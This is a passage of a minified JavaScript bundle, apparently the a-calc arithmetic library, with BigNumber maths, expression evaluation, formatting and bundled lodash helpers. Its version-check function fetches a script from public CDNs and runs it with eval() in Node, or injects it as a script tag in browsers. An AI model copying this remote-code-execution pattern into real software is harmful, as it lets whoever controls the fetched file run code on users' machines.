r,a,n,o,i,s,c,l,u,f,p,h,_,g,y,b=this,d=b.c,m=(e=new w(e,t)).c;if(!(d&&m&&d[0]&&m[0]))return!b.s||!e.s||d&&!d[0]&&!m||m&&!m[0]&&!d?e.c=e.e=e.s=null:(e.s*=b.s,d&&m?(e.c=[0],e.e=0):e.c=e.e=null),e;for(a=bitFloor(b.e/LOG_BASE)+bitFloor(e.e/LOG_BASE),e.s*=b.s,(c=d.length)<(f=m.length)&&(_=d,d=m,m=_,n=c,c=f,f=n),n=c+f,_=[];n--;_.push(0));for(g=BASE,y=SQRT_BASE,n=f;--n>=0;){for(r=0,p=m[n]%y,h=m[n]/y|0,o=n+(i=c);o>n;)r=((l=p*(l=d[--i]%y)+(s=h*l+(u=d[i]/y|0)*p)%y*y+_[o]+r)/g|0)+(s/y|0)+h*u,_[o--]=l%g;_[o]=r}return r?++a:_.splice(0,1),k(e,_,a)},f.negated=function(){var e=new w(this);return e.s=-e.s||null,e},f.plus=function(e,t){var r,a=this,n=a.s;if(t=(e=new w(e,t)).s,!n||!t)return new w(NaN);if(n!=t)return e.s=-t,a.minus(e);var o=a.e/LOG_BASE,i=e.e/LOG_BASE,s=a.c,c=e.c;if(!o||!i){if(!s||!c)return new w(n/0);if(!s[0]||!c[0])return c[0]?e:new w(s[0]?a:0*n)}if(o=bitFloor(o),i=bitFloor(i),s=s.slice(),n=o-i){for(n>0?(i=o,r=c):(n=-n,r=s),r.reverse();n--;r.push(0));r.reverse()}for((n=s.length)-(t=c.length)<0&&(r=c,c=s,s=r,t=n),n=0;t;)n=(s[--t]=s[t]+c[t]+n)/BASE|0,s[t]=BASE===s[t]?0:s[t]%BASE;return n&&(s=[n].concat(s),++i),k(e,s,i)},f.precision=f.sd=function(e,t){var r,a,n,o=this;if(null!=e&&e!==!!e)return intCheck(e,1,MAX),null==t?t=_:intCheck(t,0,8),C(new w(o),e,t);if(!(r=o.c))return null;if(a=(n=r.length-1)*LOG_BASE+1,n=r[n]){for(;n%10==0;n/=10,a--);for(n=r[0];n>=10;n/=10,a++);}return e&&o.e+1>a&&(a=o.e+1),a},f.shiftedBy=function(e){return intCheck(e,-MAX_SAFE_INTEGER$2,MAX_SAFE_INTEGER$2),this.times("1e"+e)},f.squareRoot=f.sqrt=function(){var e,r,a,n,o,i=this,s=i.c,c=i.s,l=i.e,u=h+4,f=new w("0.5");if(1!==c||!s||!s[0])return new w(!c||c<0&&(!s||s[0])?NaN:s?i:1/0);if(0==(c=Math.sqrt(+j(i)))||c==1/0?(((r=coeffToString(s)).length+l)%2==0&&(r+="0"),c=Math.sqrt(+r),l=bitFloor((l+1)/2)-(l<0||l%2),a=new w(r=c==1/0?"5e"+l:(r=c.toExponential()).slice(0,r.indexOf("e")+1)+l)):a=new w(c+""),a.c[0])for((c=(l=a.e)+u)<3&&(c=0);;)if(o=a,a=f.times(o.plus(t(i,o,u,1))),coeffToString(o.c).slice(0,c)===(r=coeffToString(a.c)).slice(0,c)){if(a.e<l&&--c,"9999"!=(r=r.slice(c-3,c+1))&&(n||"4999"!=r)){+r&&(+r.slice(1)||"5"!=r.charAt(0))||(C(a,a.e+h+2,1),e=!a.times(a).eq(i));break}if(!n&&(C(o,o.e+h+2,0),o.times(o).eq(i))){a=o;break}u+=4,c+=4,n=1}return C(a,a.e+h+1,_,e)},f.toExponential=function(e,t){return null!=e&&(intCheck(e,0,MAX),e++),E(this,e,t,1)},f.toFixed=function(e,t){return null!=e&&(intCheck(e,0,MAX),e=e+this.e+1),E(this,e,t)},f.toFormat=function(e,t,r){var a,n=this;if(null==r)null!=e&&t&&"object"==_typeof(t)?(r=t,t=null):e&&"object"==_typeof(e)?(r=e,e=t=null):r=A;else if("object"!=_typeof(r))throw Error(bignumberError+"Argument not an object: "+r);if(a=n.toFixed(e,t),n.c){var o,i=a.split("."),s=+r.groupSize,c=+r.secondaryGroupSize,l=r.groupSeparator||"",u=i[0],f=i[1],p=n.s<0,h=p?u.slice(1):u,_=h.length;if(c&&(o=s,s=c,c=o,_-=o),s>0&&_>0){for(o=_%s||s,u=h.substr(0,o);o<_;o+=s)u+=l+h.substr(o,s);c>0&&(u+=l+h.slice(o)),p&&(u="-"+u)}a=f?u+(r.decimalSeparator||"")+((c=+r.fractionGroupSize)?f.replace(new RegExp("\\d{"+c+"}\\B","g"),"$&"+(r.fractionGroupSeparator||"")):f):u}return(r.prefix||"")+a+(r.suffix||"")},f.toFraction=function(e){var r,a,n,o,i,s,c,l,u,f,h,g,y=this,b=y.c;if(null!=e&&(!(c=new w(e)).isInteger()&&(c.c||1!==c.s)||c.lt(p)))throw Error(bignumberError+"Argument "+(c.isInteger()?"out of range: ":"not an integer: ")+j(c));if(!b)return new w(y);for(r=new w(p),u=a=new w(p),n=l=new w(p),g=coeffToString(b),i=r.e=g.length-y.e-1,r.c[0]=POWS_TEN[(s=i%LOG_BASE)<0?LOG_BASE+s:s],e=!e||c.comparedTo(r)>0?i>0?r:u:c,s=d,d=1/0,c=new w(g),l.c[0]=0;f=t(c,r,0,1),1!=(o=a.plus(f.times(n))).comparedTo(e);)a=n,n=o,u=l.plus(f.times(o=u)),l=o,r=c.minus(f.times(o=r)),c=o;return o=t(e.minus(a),n,0,1),l=l.plus(o.times(u)),a=a.plus(o.times(n)),l.s=u.s=y.s,h=t(u,n,i*=2,_).minus(y).abs().comparedTo(t(l,a,i,_).minus(y).abs())<1?[u,n]:[l,a],d=s,h},f.toNumber=function(){return+j(this)},f.toPrecision=function(e,t){return null!=e&&intCheck(e,1,MAX),E(this,e,t,2)},f.toString=function(e){var t,a=this,n=a.s,o=a.e;return null===o?n?(t="Infinity",n<0&&(t="-"+t)):t="NaN":(null==e?t=o<=g||o>=y?toExponential(coeffToString(a.c),o):toFixedPoint(coeffToString(a.c),o,"0"):10===e&&S?t=toFixedPoint(coeffToString((a=C(new w(a),h+o+1,_)).c),a.e,"0"):(intCheck(e,2,T.length,"Base"),t=r(toFixedPoint(coeffToString(a.c),o,"0"),10,e,n,!0)),n<0&&a.c[0]&&(t="-"+t)),t},f.valueOf=f.toJSON=function(){return j(this)},f._isBigNumber=!0,f[Symbol.toStringTag]="BigNumber",f[Symbol.for("nodejs.util.inspect.custom")]=f.valueOf,null!=e&&w.set(e),w}function bitFloor(e){var t=0|e;return e>0||e===t?t:t-1}function coeffToString(e){for(var t,r,a=1,n=e.length,o=e[0]+"";a<n;){for(t=e[a++]+"",r=LOG_BASE-t.length;r--;t="0"+t);o+=t}for(n=o.length;48===o.charCodeAt(--n););return o.slice(0,n+1||1)}function compare(e,t){var r,a,n=e.c,o=t.c,i=e.s,s=t.s,c=e.e,l=t.e;if(!i||!s)return null;if(r=n&&!n[0],a=o&&!o[0],r||a)return r?a?0:-s:i;if(i!=s)return i;if(r=i<0,a=c==l,!n||!o)return a?0:!n^r?1:-1;if(!a)return c>l^r?1:-1;for(s=(c=n.length)<(l=o.length)?c:l,i=0;i<s;i++)if(n[i]!=o[i])return n[i]>o[i]^r?1:-1;return c==l?0:c>l^r?1:-1}function intCheck(e,t,r,a){if(e<t||e>r||e!==mathfloor(e))throw Error(bignumberError+(a||"Argument")+("number"==typeof e?e<t||e>r?" out of range: ":" not an integer: ":" not a primitive number: ")+String(e))}function isOdd(e){var t=e.c.length-1;return bitFloor(e.e/LOG_BASE)==t&&e.c[t]%2!=0}function toExponential(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function toFixedPoint(e,t,r){var a,n;if(t<0){for(n=r+".";++t;n+=r);e=n+e}else if(++t>(a=e.length)){for(n=r,t-=a;--t;n+=r);e+=n}else t<a&&(e=e.slice(0,t)+"."+e.slice(t));return e}var BigNumber=clone();function eval_postfix(e){for(var t=[];e.length>0;){var r=e.shift();if(is_operator(r)){if(t.length<2)throw new Error("错误的栈长度, 可能是无法计算的表达式");var a=t.pop(),n=t.pop(),o=n+r+a;if(o in cache_eval){t.push(cache_eval[o].value),cache_eval[o].last_time=(new Date).getTime(),cache_eval[o].count++;continue}if("string"==typeof a&&!BigNumber.isBigNumber(a)){if(!is_str_number(a))throw new Error("".concat(a,"不是一个合法的数字"));a=new BigNumber(a)}if("string"==typeof n&&!BigNumber.isBigNumber(n)){if(!is_str_number(n))throw new Error("".concat(n,"不是一个合法的数字"));n=new BigNumber(n)}switch(r){case"+":var i=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.plus(a)};t.push(i.value);break;case"-":var s=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.minus(a)};t.push(s.value);break;case"*":var c=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.times(a)};t.push(c.value);break;case"/":var l=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.div(a)};t.push(l.value);break;case"%":var u=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.mod(a)};t.push(u.value);break;case"**":var f=cache_eval[o]={last_time:(new Date).getTime(),count:0,value:n.pow(a)};t.push(f.value)}}else t.push(r)}if(1!==t.length)throw"unvalid expression";var p=t[0];if((p=BigNumber.isBigNumber(p)?p:BigNumber(p)).isNaN())throw new Error("计算结果为NaN");return p}function format(e,t){var r="";if(BigNumber.isBigNumber(e)?r=e.toFixed():"string"!=typeof e&&(r=e.toString()),"undefined"===r||"NaN"===r)return[null,{}];var a={mantissa:null,mantissa_type:null,thousands:!1,sign:!1,round:"~-",scientific:!1,fraction:!1,percent:!1,to_number:!1,to_number_string:!1};if(t.forEach((function(e){var t=e.type;if("symbol"===t){if(![">=","<=","=","<",">"].includes(e.value))throw new Error("错误的格式化参数:",e.value);a.mantissa_type=e.value}else if("to-number"===t)a.to_number=!0;else if("to-number-string"===t)a.to_number_string=!0;else if("comma"===t)a.thousands=!0;else if("number"===t)a.mantissa=e.value;else if("plus"===t)a.sign=!0;else if("round"===t)a.round=e.value;else if("fraction"===t)a.fraction=!0;else if("scientific"===t)a.scientific=!0;else{if("percent"!==t)throw new Error("错误的fmt Token");a.percent=!0}})),a.to_number)return[+parse_mantissa(r,a.mantissa_type,a.mantissa,a.round),a];if(a.scientific){var n=BigNumber(r).toExponential();return[a.sign&&!n.startsWith("-")?"+"+n:n,a]}if(a.fraction){var o=BigNumber(r).toFraction().map((function(e){return e.toFixed()})).join("/");return[a.sign&&!o.startsWith("-")?"+"+o:o,a]}return a.percent&&(r=BigNumber(r).times(100).toFixed()),not_null(a.mantissa)&&(r=parse_mantissa(r,a.mantissa_type,a.mantissa,a.round)),a.thousands&&(r=parse_thousands(r)),a.sign&&(a.to_number=!1,r.startsWith("-")||(r="+"+r)),a.percent&&(r+="%"),[r,a]}function fill_fmt_tokens(e,t){return e.map((function(e){if("var"!==e.type)return e;for(var r,a=0;a<t.length&&!not_undefined(r=get$1(t[a],e.value));a++);if(is_number(r))return{type:"number",value:r};throw new Error("错误的填充值")}))}function get_token_and_unit(e){var t=null;return e.length,{tokens:e.map((function(e){var r=split_unit_num(e.value);return null!==r.unit?(null==t&&(t=r.unit),{type:"number",value:r.num}):e})),unit:t}}var stringify$1={exports:{}};!function(e,t){function r(e,t){var r=[],a=[];return null==t&&(t=function(e,t){return r[0]===t?"[Circular ~]":"[Circular ~."+a.slice(0,r.indexOf(t)).join(".")+"]"}),function(n,o){if(r.length>0){var i=r.indexOf(this);~i?r.splice(i+1):r.push(this),~i?a.splice(i,1/0,n):a.push(n),~r.indexOf(o)&&(o=t.call(this,n,o))}else r.push(o);return null==e?o:e.call(this,n,o)}}(e.exports=function(e,t,a,n){return JSON.stringify(e,r(t,n),a)}).getSerialize=r}(stringify$1,stringify$1.exports);var stringifyExports=stringify$1.exports,stringify=getDefaultExportFromCjs(stringifyExports),_debug=!1,_important_push=!0;function close_important_push(){_important_push=!1}function open_important_push(){_important_push=!0}function open_debug(){_debug=!0}function close_debug(){_debug=!1}function get_debug_config(){return _debug}var debug_color={bg:"#ff8936",fg:"#fff",field:"#67C23A",field2:"#ee7959"},debug_style={expr:"background: ".concat(debug_color.bg,";color: ").concat(debug_color.fg,";font-weight: bold;border-radius: 4px; padding: 3px 8px;"),label1:"color: ".concat(debug_color.field,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),label2:"color: ".concat(debug_color.field2,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),nowrap:"white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"};function calc_wrap(e,t){var r={},a={_error:"-"};return["string","number"].includes(_typeof(e))?(Array.isArray(t)||void 0===t||Object.keys(t).forEach((function(e){return e.startsWith("_")&&(a[e]=t[e])})),r=null!=t?t:{},/[a-zA-Z_$]/.test(e.toString())?void 0!==t?(r=t,calc(e,_objectSpread2(_objectSpread2({},a),r))):function(t){return calc(e,_objectSpread2(_objectSpread2({},a),t))}:calc(e,_objectSpread2(_objectSpread2({},a),r))):(r=e,function(e){return calc(e,_objectSpread2(_objectSpread2({},a),r))})}function check_version(){return _check_version.apply(this,arguments)}function _check_version(){return _check_version=_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code,versions,last_version,larr,varr,script,url;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if("undefined"==typeof process||"node"!==process.release.name){_context.next=19;break}if(!(parseInt(process.versions.node)>=17)){_context.next=17;break}return _context.next=4,promise_queue([fetch("https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js"),fetch("https://unpkg.com/a-calc@latest/a-calc.versions.js")]);case 4:return res=_context.sent,_context.next=7,res.text();case 7:code=_context.sent,versions=eval(code),last_version=versions.at(-1),larr=last_version.match(/(\d+)\.(\d+)\.(\d+)/),larr.shift(),larr=larr.map((function(e){return parseInt(e)})),varr=version.match(/(\d+)\.(\d+)\.(\d+)/),varr.shift(),varr=varr.map((function(e){return parseInt(e)})),(larr[0]>varr[0]||larr[0]===varr[0]&&larr[1]>varr[1]||larr[0]===varr[0]&&larr[1]===varr[1]&&larr[2]>varr[2])&&console.warn("a-calc has a new version:",last_version);case 17:_context.next=25;break;case 19:return script=document.createElement("script"),script.onload=function(){var e=a_calc_versions;if(Array.isArray(e)){var t=e.at(-1),r=t.match(/(\d+)\.(\d+)\.(\d+)/);r.shift(),r=r.map((function(e){return parseInt(e)}));var a=version.match(/(\d+)\.(\d+)\.(\d+)/);a.shift(),a=a.map((function(e){return parseInt(e)})),(r[0]>a[0]||r[0]===a[0]&&r[1]>a[1]||r[0]===a[0]&&r[1]===a[1]&&r[2]>a[2])&&console.log("%c↑↑↑ a-calc has a new version: %s ↑↑↑","color: #67C23A;",t)}},_context.next=23,test_urls(["https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js","https://unpkg.com/a-calc@latest/a-calc.versions.js"]);case 23:url=_context.sent,url?(script.src=url,document.body.appendChild(script)):script=null;case 25:case"end":return _context.stop()}}),_callee)}))),_check_version.apply(this,arguments)}function idle_cleaner(){get_debug_config()&&console.log("清理者开始运行"),globalThis.__calc_cleaner_timer||(globalThis.__calc_cleaner_timer=setInterval((function(){idle((function(){get_debug_config()&&(console.log("执行空闲清理程序, 当前缓存:"),console.log("cache_eval:",cache_eval),console.log("cache_tokens:",cache_tokens),console.log("cache_fmt_tokens:",cache_fmt_tokens));var e=Object.keys(cache_eval),t=Object.keys(cache_tokens),r=Object.keys(cache_fmt_tokens),a=(new Date).getTime();e.forEach((function(e){var t=cache_eval[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_eval[e]})),t.forEach((function(e){var t=cache_tokens[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_tokens[e]})),r.forEach((function(e){var t=cache_fmt_tokens[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_fmt_tokens[e]}))}))}),1e4))}var ListCache$2=_ListCache;function stackClear$1(){this.__data__=new ListCache$2,this.size=0}var _stackClear=stackClear$1;function stackDelete$1(e){var t=this.__data__,r=t.delete(e);return this.size=t.size,r}var _stackDelete=stackDelete$1;function stackGet$1(e){return this.__data__.get(e)}var _stackGet=stackGet$1;function stackHas$1(e){return this.__data__.has(e)}var _stackHas=stackHas$1,ListCache$1=_ListCache,Map$1=_Map,MapCache$1=_MapCache,LARGE_ARRAY_SIZE=200;function stackSet$1(e,t){var r=this.__data__;if(r instanceof ListCache$1){var a=r.__data__;if(!Map$1||a.length<LARGE_ARRAY_SIZE-1)return a.push([e,t]),this.size=++r.size,this;r=this.__data__=new MapCache$1(a)}return r.set(e,t),this.size=r.size,this}var _stackSet=stackSet$1,ListCache=_ListCache,stackClear=_stackClear,stackDelete=_stackDelete,stackGet=_stackGet,stackHas=_stackHas,stackSet=_stackSet;function Stack$1(e){var t=this.__data__=new ListCache(e);this.size=t.size}Stack$1.prototype.clear=stackClear,Stack$1.prototype.delete=stackDelete,Stack$1.prototype.get=stackGet,Stack$1.prototype.has=stackHas,Stack$1.prototype.set=stackSet;var _Stack=Stack$1,HASH_UNDEFINED="__lodash_hash_undefined__";function setCacheAdd$1(e){return this.__data__.set(e,HASH_UNDEFINED),this}var _setCacheAdd=setCacheAdd$1;function setCacheHas$1(e){return this.__data__.has(e)}var _setCacheHas=setCacheHas$1,MapCache=_MapCache,setCacheAdd=_setCacheAdd,setCacheHas=_setCacheHas;function SetCache$1(e){var t=-1,r=null==e?0:e.length;for(this.__data__=new MapCache;++t<r;)this.add(e[t])}SetCache$1.prototype.add=SetCache$1.prototype.push=setCacheAdd,SetCache$1.prototype.has=setCacheHas;var _SetCache=SetCache$1;function arraySome$1(e,t){for(var r=-1,a=null==e?0:e.length;++r<a;)if(t(e[r],r,e))return!0;return!1}var _arraySome=arraySome$1;function cacheHas$1(e,t){return e.has(t)}var _cacheHas=cacheHas$1,SetCache=_SetCache,arraySome=_arraySome,cacheHas=_cacheHas,COMPARE_PARTIAL_FLAG$3=1,COMPARE_UNORDERED_FLAG$1=2;function equalArrays$2(e,t,r,a,n,o){var i=r&COMPARE_PARTIAL_FLAG$3,s=e.length,c=t.length;if(s!=c&&!(i&&c>s))return!1;var l=o.get(e),u=o.get(t);if(l&&u)return l==t&&u==e;var f=-1,p=!0,h=r&COMPARE_UNORDERED_FLAG$1?new SetCache:void 0;for(o.set(e,t),o.set(t,e);++f<s;){var _=e[f],g=t[f];if(a)var y=i?a(g,_,f,t,e,o):a(_,g,f,e,t,o);if(void 0!==y){if(y)continue;p=!1;break}if(h){if(!arraySome(t,(function(e,t){if(!cacheHas(h,t)&&(_===e||n(_,e,r,a,o)))return h.push(t)}))){p=!1;break}}else if(_!==g&&!n(_,g,r,a,o)){p=!1;break}}return o.delete(e),o.delete(t),p}var _equalArrays=equalArrays$2,root$4=_root,Uint8Array$1=root$4.Uint8Array,_Uint8Array=Uint8Array$1;function mapToArray$1(e){var t=-1,r=Array(e.size);return e.forEach((function(e,a){r[++t]=[a,e]})),r}var _mapToArray=mapToArray$1;function setToArray$1(e){var t=-1,r=Array(e.size);return e.forEach((function(e){r[++t]=e})),r}var _setToArray=setToArray$1,_Symbol=_Symbol$4,Uint8Array=_Uint8Array,eq=eq_1,equalArrays$1=_equalArrays,mapToArray=_mapToArray,setToArray=_setToArray,COMPARE_PARTIAL_FLAG$2=1,COMPARE_UNORDERED_FLAG=2,boolTag$1="[object Boolean]",dateTag$1="[object Date]",errorTag$1="[object Error]",mapTag$2="[object Map]",numberTag$1="[object Number]",regexpTag$1="[object RegExp]",setTag$2="[object Set]",stringTag$1="[object String]",symbolTag="[object Symbol]",arrayBufferTag$1="[object ArrayBuffer]",dataViewTag$2="[object DataView]",symbolProto=_Symbol?_Symbol.prototype:void 0,symbolValueOf=symbolProto?symbolProto.valueOf:void 0;function equalByTag$1(e,t,r,a,n,o,i){switch(r){case dataViewTag$2:if(e.byteLength!=t.byteLength||e.byteOffset!=t.byteOffset)return!1;e=e.buffer,t=t.buffer;case arrayBufferTag$1:return!(e.byteLength!=t.byteLength||!o(new Uint8Array(e),new Uint8Array(t)));case boolTag$1:case dateTag$1:case numberTag$1:return eq(+e,+t);case errorTag$1:return e.name==t.name&&e.message==t.message;case regexpTag$1:case stringTag$1:return e==t+"";case mapTag$2:var s=mapToArray;case setTag$2:var c=a&COMPARE_PARTIAL_FLAG$2;if(s||(s=setToArray),e.size!=t.size&&!c)return!1;var l=i.get(e);if(l)return l==t;a|=COMPARE_UNORDERED_FLAG,i.set(e,t);var u=equalArrays$1(s(e),s(t),a,n,o,i);return i.delete(e),u;case symbolTag:if(symbolValueOf)return symbolValueOf.call(e)==symbolValueOf.call(t)}return!1}var _equalByTag=equalByTag$1;function arrayPush$1(e,t){for(var r=-1,a=t.length,n=e.length;++r<a;)e[n+r]=t[r];return e}var _arrayPush=arrayPush$1,arrayPush=_arrayPush,isArray$2=isArray_1;function baseGetAllKeys$1(e,t,r){var a=t(e);return isArray$2(e)?a:arrayPush(a,r(e))}var _baseGetAllKeys=baseGetAllKeys$1;function arrayFilter$1(e,t){for(var r=-1,a=null==e?0:e.length,n=0,o=[];++r<a;){var i=e[r];t(i,r,e)&&(o[n++]=i)}return o}var _arrayFilter=arrayFilter$1;function stubArray$1(){return[]}var stubArray_1=stubArray$1,arrayFilter=_arrayFilter,stubArray=stubArray_1,objectProto$6=Object.prototype,propertyIsEnumerable$1=objectProto$6.propertyIsEnumerable,nativeGetSymbols=Object.getOwnPropertySymbols,getSymbols$1=nativeGetSymbols?function(e){return null==e?[]:(e=Object(e),arrayFilter(nativeGetSymbols(e),(function(t){return propertyIsEnumerable$1.call(e,t)})))}:stubArray,_getSymbols=getSymbols$1;function baseTimes$1(e,t){for(var r=-1,a=Array(e);++r<e;)a[r]=t(r);return a}var _baseTimes=baseTimes$1,baseGetTag$2=_baseGetTag,isObjectLike$3=isObjectLike_1,argsTag$2="[object Arguments]";function baseIsArguments$1(e){return isObjectLike$3(e)&&baseGetTag$2(e)==argsTag$2}var _baseIsArguments=baseIsArguments$1,baseIsArguments=_baseIsArguments,isObjectLike$2=isObjectLike_1,objectProto$5=Object.prototype,hasOwnProperty$4=objectProto$5.hasOwnProperty,propertyIsEnumerable=objectProto$5.propertyIsEnumerable,isArguments$1=baseIsArguments(function(){return arguments}())?baseIsArguments:function(e){return isObjectLike$2(e)&&hasOwnProperty$4.call(e,"callee")&&!propertyIsEnumerable.call(e,"callee")},isArguments_1=isArguments$1,isBuffer$2={exports:{}};function stubFalse(){return!1}var stubFalse_1=stubFalse;isBuffer$2.exports,function(e,t){var r=_root,a=stubFalse_1,n=t&&!t.nodeType&&t,o=n&&e&&!e.nodeType&&e,i=o&&o.exports===n?r.Buffer:void 0,s=(i?i.isBuffer:void 0)||a;e.exports=s}(isBuffer$2,isBuffer$2.exports);var isBufferExports=isBuffer$2.exports,MAX_SAFE_INTEGER$1=9007199254740991,reIsUint=/^(?:0|[1-9]\d*)$/;function isIndex$1(e,t){var r=_typeof(e);return!!(t=null==t?MAX_SAFE_INTEGER$1:t)&&("number"==r||"symbol"!=r&&reIsUint.test(e))&&e>-1&&e%1==0&&e<t}var _isIndex=isIndex$1,MAX_SAFE_INTEGER=9007199254740991;function isLength$2(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=MAX_SAFE_INTEGER}var isLength_1=isLength$2,baseGetTag$1=_baseGetTag,isLength$1=isLength_1,isObjectLike$1=isObjectLike_1,argsTag$1="[object Arguments]",arrayTag$1="[object Array]",boolTag="[object Boolean]",dateTag="[object Date]",errorTag="[object Error]",funcTag="[object Function]",mapTag$1="[object Map]",numberTag="[object Number]",objectTag$2="[object Object]",regexpTag="[object RegExp]",setTag$1="[object Set]",stringTag="[object String]",weakMapTag$1="[object WeakMap]",arrayBufferTag="[object ArrayBuffer]",dataViewTag$1="[object DataView]",float32Tag="[object Float32Array]",float64Tag="[object Float64Array]",int8Tag="[object Int8Array]",int16Tag="[object Int16Array]",int32Tag="[object Int32Array]",uint8Tag="[object Uint8Array]",uint8ClampedTag="[object Uint8ClampedArray]",uint16Tag="[object Uint16Array]",uint32Tag="[object Uint32Array]",typedArrayTags={};function baseIsTypedArray$1(e){return isObjectLike$1(e)&&isLength$1(e.length)&&!!typedArrayTags[baseGetTag$1(e)]}typedArrayTags[float32Tag]=typedArrayTags[float64Tag]=typedArrayTags[int8Tag]=typedArrayTags[int16Tag]=typedArrayTags[int32Tag]=typedArrayTags[uint8Tag]=typedArrayTags[uint8ClampedTag]=typedArrayTags[uint16Tag]=typedArrayTags[uint32Tag]=!0,typedArrayTags[argsTag$1]=typedArrayTags[arrayTag$1]=typedArrayTags[arrayBufferTag]=typedArrayTags[boolTag]=typedArrayTags[dataViewTag$1]=typedArrayTags[dateTag]=typedArrayTags[errorTag]=typedArrayTags[funcTag]=typedArrayTags[mapTag$1]=typedArrayTags[numberTag]=typedArrayTags[objectTag$2]=typedArrayTags[regexpTag]=typedArrayTags[setTag$1]=typedArrayTags[stringTag]=typedArrayTags[weakMapTag$1]=!1;var _baseIsTypedArray=baseIsTypedArray$1;function baseUnary$1(e){return function(t){return e(t)}}var _baseUnary=baseUnary$1,_nodeUtil={exports:{}};_nodeUtil.exports,function(e,t){var r=_freeGlobal,a=t&&!t.nodeType&&t,n=a&&e&&!e.nodeType&&e,o=n&&n.exports===a&&r.process,i=function(){try{var e=n&&n.require&&n.require("util").types;return e||o&&o.binding&&o.binding("util")}catch(e){}}();e.exports=i}(_nodeUtil,_nodeUtil.exports);var _nodeUtilExports=_nodeUtil.exports,baseIsTypedArray=_baseIsTypedArray,baseUnary=_baseUnary,nodeUtil=_nodeUtilExports,nodeIsTypedArray=nodeUtil&&nodeUtil.isTypedArray,isTypedArray$2=nodeIsTypedArray?baseUnary(nodeIsTypedArray):baseIsTypedArray,isTypedArray_1=isTypedArray$2,baseTimes=_baseTimes,isArguments=isArguments_1,isArray$1=isArray_1,isBuffer$1=isBufferExports,isIndex=_isIndex,isTypedArray$1=isTypedArray_1,objectProto$4=Object.prototype,hasOwnProperty$3=objectProto$4.hasOwnProperty;function arrayLikeKeys$1(e,t){var r=isArray$1(e),a=!r&&isArguments(e),n=!r&&!a&&isBuffer$1(e),o=!r&&!a&&!n&&isTypedArray$1(e),i=r||a||n||o,s=i?baseTimes(e.length,String):[],c=s.length;for(var l in e)!t&&!hasOwnProperty$3.call(e,l)||i&&("length"==l||n&&("offset"==l||"parent"==l)||o&&("buffer"==l||"byteLength"==l||"byteOffset"==l)||isIndex(l,c))||s.push(l);return s}var _arrayLikeKeys=arrayLikeKeys$1,objectProto$3=Object.prototype;function isPrototype$1(e){var t=e&&e.constructor;return e===("function"==typeof t&&t.prototype||objectProto$3)}var _isPrototype=isPrototype$1;function overArg$1(e,t){return function(r){return e(t(r))}}var _overArg=overArg$1,overArg=_overArg,nativeKeys$1=overArg(Object.keys,Object),_nativeKeys=nativeKeys$1,isPrototype=_isPrototype,nativeKeys=_nativeKeys,objectProto$2=Object.prototype,hasOwnProperty$2=objectProto$2.hasOwnProperty;function baseKeys$1(e){if(!isPrototype(e))return nativeKeys(e);var t=[];for(var r in Object(e))hasOwnProperty$2.call(e,r)&&"constructor"!=r&&t.push(r);return t}var _baseKeys=baseKeys$1,isFunction=isFunction_1,isLength=isLength_1;function isArrayLike$1(e){return null!=e&&isLength(e.length)&&!isFunction(e)}var isArrayLike_1=isArrayLike$1,arrayLikeKeys=_arrayLikeKeys,baseKeys=_baseKeys,isArrayLike=isArrayLike_1;function keys$1(e){return isArrayLike(e)?arrayLikeKeys(e):baseKeys(e)}var keys_1=keys$1,baseGetAllKeys=_baseGetAllKeys,getSymbols=_getSymbols,keys=keys_1;function getAllKeys$1(e){return baseGetAllKeys(e,keys,getSymbols)}var _getAllKeys=getAllKeys$1,getAllKeys=_getAllKeys,COMPARE_PARTIAL_FLAG$1=1,objectProto$1=Object.prototype,hasOwnProperty$1=objectProto$1.hasOwnProperty;function equalObjects$1(e,t,r,a,n,o){var i=r&COMPARE_PARTIAL_FLAG$1,s=getAllKeys(e),c=s.length;if(c!=getAllKeys(t).length&&!i)return!1;for(var l=c;l--;){var u=s[l];if(!(i?u in t:hasOwnProperty$1.call(t,u)))return!1}var f=o.get(e),p=o.get(t);if(f&&p)return f==t&&p==e;var h=!0;o.set(e,t),o.set(t,e);for(var _=i;++l<c;){var g=e[u=s[l]],y=t[u];if(a)var b=i?a(y,g,u,t,e,o):a(g,y,u,e,t,o);if(!(void 0===b?g===y||n(g,y,r,a,o):b)){h=!1;break}_||(_="constructor"==u)}if(h&&!_){var d=e.constructor,m=t.constructor;d==m||!("constructor"in e)||!("constructor"in t)||"function"==typeof d&&d instanceof d&&"function"==typeof m&&m instanceof m||(h=!1)}return o.delete(e),o.delete(t),h}var _equalObjects=equalObjects$1,getNative$3=_getNative,root$3=_root,DataView$1=getNative$3(root$3,"DataView"),_DataView=DataView$1,getNative$2=_getNative,root$2=_root,Promise$2=getNative$2(root$2,"Promise"),_Promise=Promise$2,getNative$1=_getNative,root$1=_root,Set$1=getNative$1(root$1,"Set"),_Set=Set$1,getNative=_getNative,root=_root,WeakMap$1=getNative(root,"WeakMap"),_WeakMap=WeakMap$1,DataView=_DataView,Map=_Map,Promise$1=_Promise,Set=_Set,WeakMap=_WeakMap,baseGetTag=_baseGetTag,toSource=_toSource,mapTag="[object Map]",objectTag$1="[object Object]",promiseTag="[object Promise]",setTag="[object Set]",weakMapTag="[object WeakMap]",dataViewTag="[object DataView]",dataViewCtorString=toSource(DataView),mapCtorString=toSource(Map),promiseCtorString=toSource(Promise$1),setCtorString=toSource(Set),weakMapCtorString=toSource(WeakMap),getTag$1=baseGetTag;(DataView&&getTag$1(new DataView(new ArrayBuffer(1)))!=dataViewTag||Map&&getTag$1(new 